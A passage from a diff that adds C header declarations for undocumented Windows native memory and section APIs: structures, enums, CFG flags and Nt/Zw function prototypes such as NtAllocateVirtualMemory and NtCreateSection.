+ ULONG DirectMapped : 1; + ULONG SoftwareEnclave : 1; // REDSTONE3 + ULONG PageSize64K : 1; + ULONG PlaceholderReservation : 1; // REDSTONE4 + ULONG MappedAwe : 1; // 21H1 + ULONG MappedWriteWatch : 1; + ULONG PageSizeLarge : 1; + ULONG PageSizeHuge : 1; + ULONG Reserved : 19; + }; + }; + SIZE_T RegionSize; + SIZE_T CommitSize; + ULONG_PTR PartitionId; // 19H1 + ULONG_PTR NodePreference; // 20H1 +} MEMORY_REGION_INFORMATION, * PMEMORY_REGION_INFORMATION; + +// private +typedef enum _MEMORY_WORKING_SET_EX_LOCATION +{ + MemoryLocationInvalid, + MemoryLocationResident, + MemoryLocationPagefile, + MemoryLocationReserved +} MEMORY_WORKING_SET_EX_LOCATION; + +// private +typedef struct _MEMORY_WORKING_SET_EX_BLOCK +{ + union + { + struct + { + ULONG_PTR Valid : 1; + ULONG_PTR ShareCount : 3; + ULONG_PTR Win32Protection : 11; + ULONG_PTR Shared : 1; + ULONG_PTR Node : 6; + ULONG_PTR Locked : 1; + ULONG_PTR LargePage : 1; + ULONG_PTR Priority : 3; + ULONG_PTR Reserved : 3; + ULONG_PTR SharedOriginal : 1; + ULONG_PTR Bad : 1; + ULONG_PTR Win32GraphicsProtection : 4; // 19H1 +#ifdef _WIN64 + ULONG_PTR ReservedUlong : 28; +#endif + }; + struct + { + ULONG_PTR Valid : 1; + ULONG_PTR Reserved0 : 14; + ULONG_PTR Shared : 1; + ULONG_PTR Reserved1 : 5; + ULONG_PTR PageTable : 1; + ULONG_PTR Location : 2; + ULONG_PTR Priority : 3; + ULONG_PTR ModifiedList : 1; + ULONG_PTR Reserved2 : 2; + ULONG_PTR SharedOriginal : 1; + ULONG_PTR Bad : 1; +#ifdef _WIN64 + ULONG_PTR ReservedUlong : 32; +#endif + } Invalid; + }; +} MEMORY_WORKING_SET_EX_BLOCK, * PMEMORY_WORKING_SET_EX_BLOCK; + +// private +typedef struct _MEMORY_WORKING_SET_EX_INFORMATION +{ + PVOID VirtualAddress; + union + { + MEMORY_WORKING_SET_EX_BLOCK VirtualAttributes; + ULONG_PTR Long; + } u1; +} MEMORY_WORKING_SET_EX_INFORMATION, * PMEMORY_WORKING_SET_EX_INFORMATION; + +// private +typedef struct _MEMORY_SHARED_COMMIT_INFORMATION +{ + SIZE_T CommitSize; +} MEMORY_SHARED_COMMIT_INFORMATION, * PMEMORY_SHARED_COMMIT_INFORMATION; + +// private +typedef struct _MEMORY_IMAGE_INFORMATION +{ + PVOID ImageBase; + SIZE_T SizeOfImage; + union + { + ULONG ImageFlags; + struct + { + ULONG ImagePartialMap : 1; + ULONG ImageNotExecutable : 1; + ULONG ImageSigningLevel : 4; // REDSTONE3 + ULONG Reserved : 26; + }; + }; +} MEMORY_IMAGE_INFORMATION, * PMEMORY_IMAGE_INFORMATION; + +// private +typedef struct _MEMORY_ENCLAVE_IMAGE_INFORMATION +{ + MEMORY_IMAGE_INFORMATION ImageInfo; + UCHAR UniqueID[32]; + UCHAR AuthorID[32]; +} MEMORY_ENCLAVE_IMAGE_INFORMATION, * PMEMORY_ENCLAVE_IMAGE_INFORMATION; + +// private +typedef enum _MEMORY_PHYSICAL_CONTIGUITY_UNIT_STATE +{ + MemoryNotContiguous, + MemoryAlignedAndContiguous, + MemoryNotResident, + MemoryNotEligibleToMakeContiguous, + MemoryContiguityStateMax, +} MEMORY_PHYSICAL_CONTIGUITY_UNIT_STATE; + +// private +typedef struct _MEMORY_PHYSICAL_CONTIGUITY_UNIT_INFORMATION +{ + union + { + struct + { + ULONG State : 2; + ULONG Reserved : 30; + }; + ULONG AllInformation; + }; +} MEMORY_PHYSICAL_CONTIGUITY_UNIT_INFORMATION, * PMEMORY_PHYSICAL_CONTIGUITY_UNIT_INFORMATION; + +// private +typedef struct _MEMORY_PHYSICAL_CONTIGUITY_INFORMATION +{ + PVOID VirtualAddress; + ULONG_PTR Size; + ULONG_PTR ContiguityUnitSize; + ULONG Flags; + PMEMORY_PHYSICAL_CONTIGUITY_UNIT_INFORMATION ContiguityUnitInformation; +} MEMORY_PHYSICAL_CONTIGUITY_INFORMATION, * PMEMORY_PHYSICAL_CONTIGUITY_INFORMATION; + +typedef enum _MMLISTS +{ + ZeroedPageList = 0, + FreePageList = 1, + StandbyPageList = 2, + ModifiedPageList = 3, + ModifiedNoWritePageList = 4, + BadPageList = 5, + ActiveAndValid = 6, + TransitionPage = 7 +} MMLISTS; + +typedef enum _MMPFNUSE +{ + ProcessPrivatePage, + MemoryMappedFilePage, + PageFileMappedPage, + PageTablePage, + PagedPoolPage, + NonPagedPoolPage, + SystemPTEPage, + SessionPrivatePage, + MetafilePage, + AWEPage, + DriverLockedPage, + KernelStackPage +} MMPFNUSE; + +// private +typedef struct _MEMORY_FRAME_INFORMATION +{ + ULONGLONG UseDescription : 4; // MMPFNUSE_* + ULONGLONG ListDescription : 3; // MMPFNLIST_* + ULONGLONG Cold : 1; // 19H1 + ULONGLONG Pinned : 1; // 1 - pinned, 0 - not pinned + ULONGLONG DontUse : 48; // *_INFORMATION overlay + ULONGLONG Priority : 3; + ULONGLONG NonTradeable : 1; + ULONGLONG Reserved : 3; +} MEMORY_FRAME_INFORMATION; + +// private +typedef struct _FILEOFFSET_INFORMATION +{ + ULONGLONG DontUse : 9; // MEMORY_FRAME_INFORMATION overlay + ULONGLONG Offset : 48; // mapped files + ULONGLONG Reserved : 7; +} FILEOFFSET_INFORMATION; + +// private +typedef struct _PAGEDIR_INFORMATION +{ + ULONGLONG DontUse : 9; // MEMORY_FRAME_INFORMATION overlay + ULONGLONG PageDirectoryBase : 48; // private pages + ULONGLONG Reserved : 7; +} PAGEDIR_INFORMATION; + +// private +typedef struct _UNIQUE_PROCESS_INFORMATION +{ + ULONGLONG DontUse : 9; // MEMORY_FRAME_INFORMATION overlay + ULONGLONG UniqueProcessKey : 48; // ProcessId + ULONGLONG Reserved : 7; +} UNIQUE_PROCESS_INFORMATION, * PUNIQUE_PROCESS_INFORMATION; + +// private +typedef struct _MMPFN_IDENTITY +{ + union + { + MEMORY_FRAME_INFORMATION e1; // all + FILEOFFSET_INFORMATION e2; // mapped files + PAGEDIR_INFORMATION e3; // private pages + UNIQUE_PROCESS_INFORMATION e4; // owning process + } u1; + ULONG_PTR PageFrameIndex; // all + union + { + struct + { + ULONG_PTR Image : 1; + ULONG_PTR Mismatch : 1; + } e1; + struct + { + ULONG_PTR CombinedPage; + } e2; + ULONG_PTR FileObject; // mapped files + ULONG_PTR UniqueFileObjectKey; + ULONG_PTR ProtoPteAddress; + ULONG_PTR VirtualAddress; // everything else + } u2; +} MMPFN_IDENTITY, * PMMPFN_IDENTITY; + +typedef struct _MMPFN_MEMSNAP_INFORMATION +{ + ULONG_PTR InitialPageFrameIndex; + ULONG_PTR Count; +} MMPFN_MEMSNAP_INFORMATION, * PMMPFN_MEMSNAP_INFORMATION; + +typedef enum _SECTION_INFORMATION_CLASS +{ + SectionBasicInformation, // q; SECTION_BASIC_INFORMATION + SectionImageInformation, // q; SECTION_IMAGE_INFORMATION + SectionRelocationInformation, // q; PVOID RelocationAddress // name:wow64:whNtQuerySection_SectionRelocationInformation + SectionOriginalBaseInformation, // PVOID BaseAddress + SectionInternalImageInformation, // SECTION_INTERNAL_IMAGE_INFORMATION // since REDSTONE2 + MaxSectionInfoClass +} SECTION_INFORMATION_CLASS; + +typedef struct _SECTION_BASIC_INFORMATION +{ + PVOID BaseAddress; + ULONG AllocationAttributes; + LARGE_INTEGER MaximumSize; +} SECTION_BASIC_INFORMATION, * PSECTION_BASIC_INFORMATION; + +// symbols +typedef struct _SECTION_IMAGE_INFORMATION +{ + PVOID TransferAddress; + ULONG ZeroBits; + SIZE_T MaximumStackSize; + SIZE_T CommittedStackSize; + ULONG SubSystemType; + union + { + struct + { + USHORT SubSystemMinorVersion; + USHORT SubSystemMajorVersion; + }; + ULONG SubSystemVersion; + }; + union + { + struct + { + USHORT MajorOperatingSystemVersion; + USHORT MinorOperatingSystemVersion; + }; + ULONG OperatingSystemVersion; + }; + USHORT ImageCharacteristics; + USHORT DllCharacteristics; + USHORT Machine; + BOOLEAN ImageContainsCode; + union + { + UCHAR ImageFlags; + struct + { + UCHAR ComPlusNativeReady : 1; + UCHAR ComPlusILOnly : 1; + UCHAR ImageDynamicallyRelocated : 1; + UCHAR ImageMappedFlat : 1; + UCHAR BaseBelow4gb : 1; + UCHAR ComPlusPrefer32bit : 1; + UCHAR Reserved : 2; + }; + }; + ULONG LoaderFlags; + ULONG ImageFileSize; + ULONG CheckSum; +} SECTION_IMAGE_INFORMATION, * PSECTION_IMAGE_INFORMATION; + +// symbols +typedef struct _SECTION_INTERNAL_IMAGE_INFORMATION +{ + SECTION_IMAGE_INFORMATION SectionInformation; + union + { + ULONG ExtendedFlags; + struct + { + ULONG ImageExportSuppressionEnabled : 1; + ULONG ImageCetShadowStacksReady : 1; // 20H1 + ULONG ImageXfgEnabled : 1; // 20H2 + ULONG ImageCetShadowStacksStrictMode : 1; + ULONG ImageCetSetContextIpValidationRelaxedMode : 1; + ULONG ImageCetDynamicApisAllowInProc : 1; + ULONG ImageCetDowngradeReserved1 : 1; + ULONG ImageCetDowngradeReserved2 : 1; + ULONG Reserved : 24; + }; + }; +} SECTION_INTERNAL_IMAGE_INFORMATION, * PSECTION_INTERNAL_IMAGE_INFORMATION; + +#ifndef _KERNEL_MODE +typedef enum _SECTION_INHERIT +{ + ViewShare = 1, + ViewUnmap = 2 +} SECTION_INHERIT; +#endif // !_KERNEL_MODE + +#define MEM_EXECUTE_OPTION_ENABLE 0x1 +#define MEM_EXECUTE_OPTION_DISABLE 0x2 +#define MEM_EXECUTE_OPTION_DISABLE_THUNK_EMULATION 0x4 +#define MEM_EXECUTE_OPTION_PERMANENT 0x8 +#define MEM_EXECUTE_OPTION_EXECUTE_DISPATCH_ENABLE 0x10 +#define MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE 0x20 +#define MEM_EXECUTE_OPTION_VALID_FLAGS 0x3f + +// +// Virtual memory +// + +_Must_inspect_result_ +__drv_allocatesMem(Mem) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAllocateVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ _At_(*BaseAddress, _Readable_bytes_(*RegionSize) _Writable_bytes_(*RegionSize) _Post_readable_byte_size_(*RegionSize)) PVOID* BaseAddress, + _In_ ULONG_PTR ZeroBits, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG AllocationType, + _In_ ULONG Protect +); + +_Must_inspect_result_ +_IRQL_requires_max_(PASSIVE_LEVEL) +_When_(return == 0, __drv_allocatesMem(Region)) +NTSYSAPI +NTSTATUS +NTAPI +ZwAllocateVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID * BaseAddress, + _In_ ULONG_PTR ZeroBits, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG AllocationType, + _In_ ULONG Protect +); + +#if (WDK_NTDDI_VERSION <= NTDDI_WIN10_RS4) + +typedef struct _MEM_ADDRESS_REQUIREMENTS { + PVOID LowestStartingAddress; + PVOID HighestEndingAddress; + SIZE_T Alignment; +} MEM_ADDRESS_REQUIREMENTS, * PMEM_ADDRESS_REQUIREMENTS; + +#define MEM_EXTENDED_PARAMETER_GRAPHICS 0x00000001 +#define MEM_EXTENDED_PARAMETER_NONPAGED 0x00000002 +#define MEM_EXTENDED_PARAMETER_ZERO_PAGES_OPTIONAL 0x00000004 +#define MEM_EXTENDED_PARAMETER_NONPAGED_LARGE 0x00000008 +#define MEM_EXTENDED_PARAMETER_NONPAGED_HUGE 0x00000010 +#define MEM_EXTENDED_PARAMETER_SOFT_FAULT_PAGES 0x00000020 +#define MEM_EXTENDED_PARAMETER_EC_CODE 0x00000040 + +// +// Use the high ULONG64 bit of the MEM_EXTENDED_PARAMETER to indicate +// that the supplied NUMA node in the low bits is mandatory. Note this +// is different from the MEM_EXTENDED_PARAMETER_XXX fields above because +// those are encoded in the Type field; this is encoded in the ULong64 field. +// +// This can only be used nonpaged allocations since we don't want page +// faults to fail due to transient memory shortages on arbitrary nodes. +// + +#define MEM_EXTENDED_PARAMETER_NUMA_NODE_MANDATORY MINLONG64 + +typedef enum MEM_EXTENDED_PARAMETER_TYPE { + MemExtendedParameterInvalidType = 0, + MemExtendedParameterAddressRequirements, + MemExtendedParameterNumaNode, + MemExtendedParameterPartitionHandle, + MemExtendedParameterUserPhysicalHandle, + MemExtendedParameterAttributeFlags, + MemExtendedParameterImageMachine, + MemExtendedParameterMax +} MEM_EXTENDED_PARAMETER_TYPE, * PMEM_EXTENDED_PARAMETER_TYPE; + +#define MEM_EXTENDED_PARAMETER_TYPE_BITS 8 + +typedef struct DECLSPEC_ALIGN(8) MEM_EXTENDED_PARAMETER { + + struct { + ULONG64 Type : MEM_EXTENDED_PARAMETER_TYPE_BITS; + ULONG64 Reserved : 64 - MEM_EXTENDED_PARAMETER_TYPE_BITS; + } DUMMYSTRUCTNAME; + + union { + ULONG64 ULong64; + PVOID Pointer; + SIZE_T Size; + HANDLE Handle; + ULONG ULong; + } DUMMYUNIONNAME; + +} MEM_EXTENDED_PARAMETER, * PMEM_EXTENDED_PARAMETER; + +#define MEMORY_CURRENT_PARTITION_HANDLE ((HANDLE) (LONG_PTR) -1) +#define MEMORY_SYSTEM_PARTITION_HANDLE ((HANDLE) (LONG_PTR) -2) +#define MEMORY_EXISTING_VAD_PARTITION_HANDLE ((HANDLE) (LONG_PTR) -3) + +// +// Dedicated memory attributes. +// + +#define MEM_DEDICATED_ATTRIBUTE_NOT_SPECIFIED ((ULONG64) -1) + +typedef enum _MEM_DEDICATED_ATTRIBUTE_TYPE { + MemDedicatedAttributeReadBandwidth = 0, + MemDedicatedAttributeReadLatency, + MemDedicatedAttributeWriteBandwidth, + MemDedicatedAttributeWriteLatency, + MemDedicatedAttributeMax +} MEM_DEDICATED_ATTRIBUTE_TYPE, * PMEM_DEDICATED_ATTRIBUTE_TYPE; + + + +typedef struct _MEMORY_PARTITION_DEDICATED_MEMORY_OPEN_INFORMATION { + + // + // Type identifier of the dedicated memory to open. + // + + ULONG64 DedicatedMemoryTypeId; + + // + // Attributes and desired access for the new handle to be opened and stored + // in DedicatedMemoryPartitionHandle. + // + + ULONG HandleAttributes; + ACCESS_MASK DesiredAccess; + + // + // Returned handle to the opened dedicated memory partition. + // + + HANDLE DedicatedMemoryPartitionHandle; + +} MEMORY_PARTITION_DEDICATED_MEMORY_OPEN_INFORMATION, * PMEMORY_PARTITION_DEDICATED_MEMORY_OPEN_INFORMATION; + +#define SEC_HUGE_PAGES 0x00020000 +#define SEC_64K_PAGES 0x00080000 +#define SEC_FILE 0x00800000 +#define SEC_IMAGE 0x01000000 +#define SEC_RESERVE 0x04000000 +#define SEC_COMMIT 0x08000000 +#define SEC_NOCACHE 0x10000000 +#define SEC_LARGE_PAGES 0x80000000 +#define SEC_IMAGE_NO_EXECUTE (SEC_IMAGE | SEC_NOCACHE) + +typedef enum MEM_SECTION_EXTENDED_PARAMETER_TYPE { + MemSectionExtendedParameterInvalidType = 0, + MemSectionExtendedParameterUserPhysicalFlags, + MemSectionExtendedParameterNumaNode, + MemSectionExtendedParameterSigningLevel, + MemSectionExtendedParameterMax +} MEM_SECTION_EXTENDED_PARAMETER_TYPE, * PMEM_SECTION_EXTENDED_PARAMETER_TYPE; + +#endif // WDK_NTDDI_VERSION <= NTDDI_WIN10_RS4 + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS4) +_Must_inspect_result_ +__drv_allocatesMem(Mem) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAllocateVirtualMemoryEx( + _In_ HANDLE ProcessHandle, + _Inout_ _At_(*BaseAddress, _Readable_bytes_(*RegionSize) _Writable_bytes_(*RegionSize) _Post_readable_byte_size_(*RegionSize)) PVOID* BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG AllocationType, + _In_ ULONG PageProtection, + _Inout_updates_opt_(ExtendedParameterCount) PMEM_EXTENDED_PARAMETER ExtendedParameters, + _In_ ULONG ExtendedParameterCount +); + +_Must_inspect_result_ +_IRQL_requires_max_(PASSIVE_LEVEL) +_When_(return == 0, __drv_allocatesMem(Region)) +NTSYSAPI +NTSTATUS +NTAPI +ZwAllocateVirtualMemoryEx( + _In_ HANDLE ProcessHandle, + _Inout_ _At_(*BaseAddress, _Readable_bytes_(*RegionSize) _Writable_bytes_(*RegionSize) _Post_readable_byte_size_(*RegionSize)) PVOID * BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG AllocationType, + _In_ ULONG PageProtection, + _Inout_updates_opt_(ExtendedParameterCount) PMEM_EXTENDED_PARAMETER ExtendedParameters, + _In_ ULONG ExtendedParameterCount +); +#endif // NTDDI_VERSION >= NTDDI_WIN10_RS4 + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtFreeVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ __drv_freesMem(Mem) PVOID* BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG FreeType +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_When_(return == 0, __drv_freesMem(Region)) +NTSYSAPI +NTSTATUS +NTAPI +ZwFreeVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID * BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG FreeType +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtReadVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _Out_writes_bytes_(BufferSize) PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesRead +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwReadVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _Out_writes_bytes_(BufferSize) PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesRead +); + +#if (NTDDI_VERSION >= NTDDI_WIN10_CO) +// rev +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtReadVirtualMemoryEx( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _Out_writes_bytes_(BufferSize) PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesRead, + _In_ ULONG Flags +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwReadVirtualMemoryEx( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _Out_writes_bytes_(BufferSize) PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesRead, + _In_ ULONG Flags +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtWriteVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesWritten +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwWriteVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesWritten +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtProtectVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID* BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG NewProtect, + _Out_ PULONG OldProtect +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwProtectVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID* BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG NewProtect, + _Out_ PULONG OldProtect +); + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _In_ MEMORY_INFORMATION_CLASS MemoryInformationClass, + _Out_writes_bytes_(MemoryInformationLength) PVOID MemoryInformation, + _In_ SIZE_T MemoryInformationLength, + _Out_opt_ PSIZE_T ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _In_ MEMORY_INFORMATION_CLASS MemoryInformationClass, + _Out_writes_bytes_(MemoryInformationLength) PVOID MemoryInformation, + _In_ SIZE_T MemoryInformationLength, + _Out_opt_ PSIZE_T ReturnLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtFlushVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID* BaseAddress, + _Inout_ PSIZE_T RegionSize, + _Out_ struct _IO_STATUS_BLOCK* IoStatus +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwFlushVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID* BaseAddress, + _Inout_ PSIZE_T RegionSize, + _Out_ PIO_STATUS_BLOCK IoStatus +); + +// begin_private +#ifndef _KERNEL_MODE +typedef enum class _VIRTUAL_MEMORY_INFORMATION_CLASS +{ + VmPrefetchInformation, // ULONG + VmPagePriorityInformation, // OFFER_PRIORITY + VmCfgCallTargetInformation, // CFG_CALL_TARGET_LIST_INFORMATION // REDSTONE2 + VmPageDirtyStateInformation, // REDSTONE3 + VmImageHotPatchInformation, // 19H1 + VmPhysicalContiguityInformation, // 20H1 + VmVirtualMachinePrepopulateInformation, + VmRemoveFromWorkingSetInformation, + MaxVmInfoClass +} VIRTUAL_MEMORY_INFORMATION_CLASS; +#else +#define VmPrefetchInformation ((_VIRTUAL_MEMORY_INFORMATION_CLASS)0) +#define VmPagePriorityInformation ((_VIRTUAL_MEMORY_INFORMATION_CLASS)1) +#define VmCfgCallTargetInformation ((_VIRTUAL_MEMORY_INFORMATION_CLASS)2) +#define VmPageDirtyStateInformation ((_VIRTUAL_MEMORY_INFORMATION_CLASS)3) +#define VmImageHotPatchInformation ((_VIRTUAL_MEMORY_INFORMATION_CLASS)4) +#define VmPhysicalContiguityInformation ((_VIRTUAL_MEMORY_INFORMATION_CLASS)5) +#define VmVirtualMachinePrepopulateInformation ((_VIRTUAL_MEMORY_INFORMATION_CLASS)6) +#define VmRemoveFromWorkingSetInformation ((_VIRTUAL_MEMORY_INFORMATION_CLASS)7) +#define MaxVmInfoClass ((_VIRTUAL_MEMORY_INFORMATION_CLASS)8) +#endif // !_KERNEL_MODE + +#ifndef _KERNEL_MODE +typedef struct _MEMORY_RANGE_ENTRY +{ + PVOID VirtualAddress; + SIZE_T NumberOfBytes; +} MEMORY_RANGE_ENTRY, * PMEMORY_RANGE_ENTRY; +#endif // !_KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS2) + +#ifdef _KERNEL_MODE + +// +// Define flags for setting process CFG valid call target entries. +// + +// +// Call target should be made valid. If not set, the call target is made +// invalid. Input flag. +// + +#define CFG_CALL_TARGET_VALID (0x00000001) + +// +// Call target has been successfully processed. Used to report to the caller +// how much progress has been made. Output flag. +// + +#define CFG_CALL_TARGET_PROCESSED (0x00000002) + +// +// Call target should be made valid only if it is suppressed export. +// What this flag means is that it can *only* be used on a cell which is +// currently in the CFG export suppressed state (only considered for export +// suppressed processes and not legacy CFG processes!), and it is also +// allowed to be used even if the process is a restricted (i.e. no ACG) process. +// + +#define CFG_CALL_TARGET_CONVERT_EXPORT_SUPPRESSED_TO_VALID (0x00000004) + +// +// Call target should be made into an XFG call target. +// + +#define CFG_CALL_TARGET_VALID_XFG (0x00000008) + +// +// Call target should be made valid only if it is already an XFG target +// in a process which has XFG audit mode enabled. +// + +#define CFG_CALL_TARGET_CONVERT_XFG_TO_CFG (0x00000010) + +typedef struct _CFG_CALL_TARGET_INFO { + ULONG_PTR Offset; + ULONG_PTR Flags; +} CFG_CALL_TARGET_INFO, * PCFG_CALL_TARGET_INFO; +#endif // _KERNEL_MODE + +typedef struct _CFG_CALL_TARGET_LIST_INFORMATION +{ + ULONG NumberOfEntries; + ULONG Reserved; + PULONG NumberOfEntriesProcessed; + PCFG_CALL_TARGET_INFO CallTargetInfo; + PVOID Section; // since REDSTONE5 + ULONGLONG FileOffset; +} CFG_CALL_TARGET_LIST_INFORMATION, * PCFG_CALL_TARGET_LIST_INFORMATION; + +#endif // NTDDI_VERSION >= NTDDI_WIN10_RS2 + +// end_private + +#if (NTDDI_VERSION >= NTDDI_WIN8) +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_ VIRTUAL_MEMORY_INFORMATION_CLASS VmInformationClass, + _In_ ULONG_PTR NumberOfEntries, + _In_reads_(NumberOfEntries) PMEMORY_RANGE_ENTRY VirtualAddresses, + _In_reads_bytes_(VmInformationLength) PVOID VmInformation, + _In_ ULONG VmInformationLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +ZwSetInformationVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_ VIRTUAL_MEMORY_INFORMATION_CLASS VmInformationClass, + _In_ ULONG_PTR NumberOfEntries, + _In_reads_(NumberOfEntries) PMEMORY_RANGE_ENTRY VirtualAddresses, + _In_reads_bytes_(VmInformationLength) PVOID VmInformation, + _In_ ULONG VmInformationLength +); +#endif + +#define MAP_PROCESS 1 +#define MAP_SYSTEM 2 + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtLockVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID* BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG MapType +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwLockVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID* BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG MapType +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtUnlockVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID* BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG MapType +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwUnlockVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID* BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG MapType +); + +// +// Sections +// + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateSection( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PLARGE_INTEGER MaximumSize, + _In_ ULONG SectionPageProtection, + _In_ ULONG AllocationAttributes, + _In_opt_ HANDLE FileHandle +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateSection( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PLARGE_INTEGER MaximumSize, + _In_ ULONG SectionPageProtection, + _In_ ULONG AllocationAttributes, + _In_opt_ HANDLE FileHandle +); + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS5) + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateSectionEx( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PLARGE_INTEGER MaximumSize, + _In_ ULONG SectionPageProtection, + _In_ ULONG AllocationAttributes, + _In_opt_ HANDLE FileHandle, + _Inout_updates_opt_(ExtendedParameterCount) PMEM_EXTENDED_PARAMETER ExtendedParameters, + _In_ ULONG ExtendedParameterCount +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateSectionEx( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PLARGE_INTEGER MaximumSize, + _In_ ULONG SectionPageProtection, + _In_ ULONG AllocationAttributes, + _In_opt_ HANDLE FileHandle, + _Inout_updates_opt_(ExtendedParameterCount) PMEM_EXTENDED_PARAMETER ExtendedParameters, + _In_ ULONG ExtendedParameterCount +); +#endif // NTDDI_VERSION >= NTDDI_WIN10_RS5 + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenSection( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenSection( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_Must_inspect_result_ +_Post_satisfies_(*ViewSize 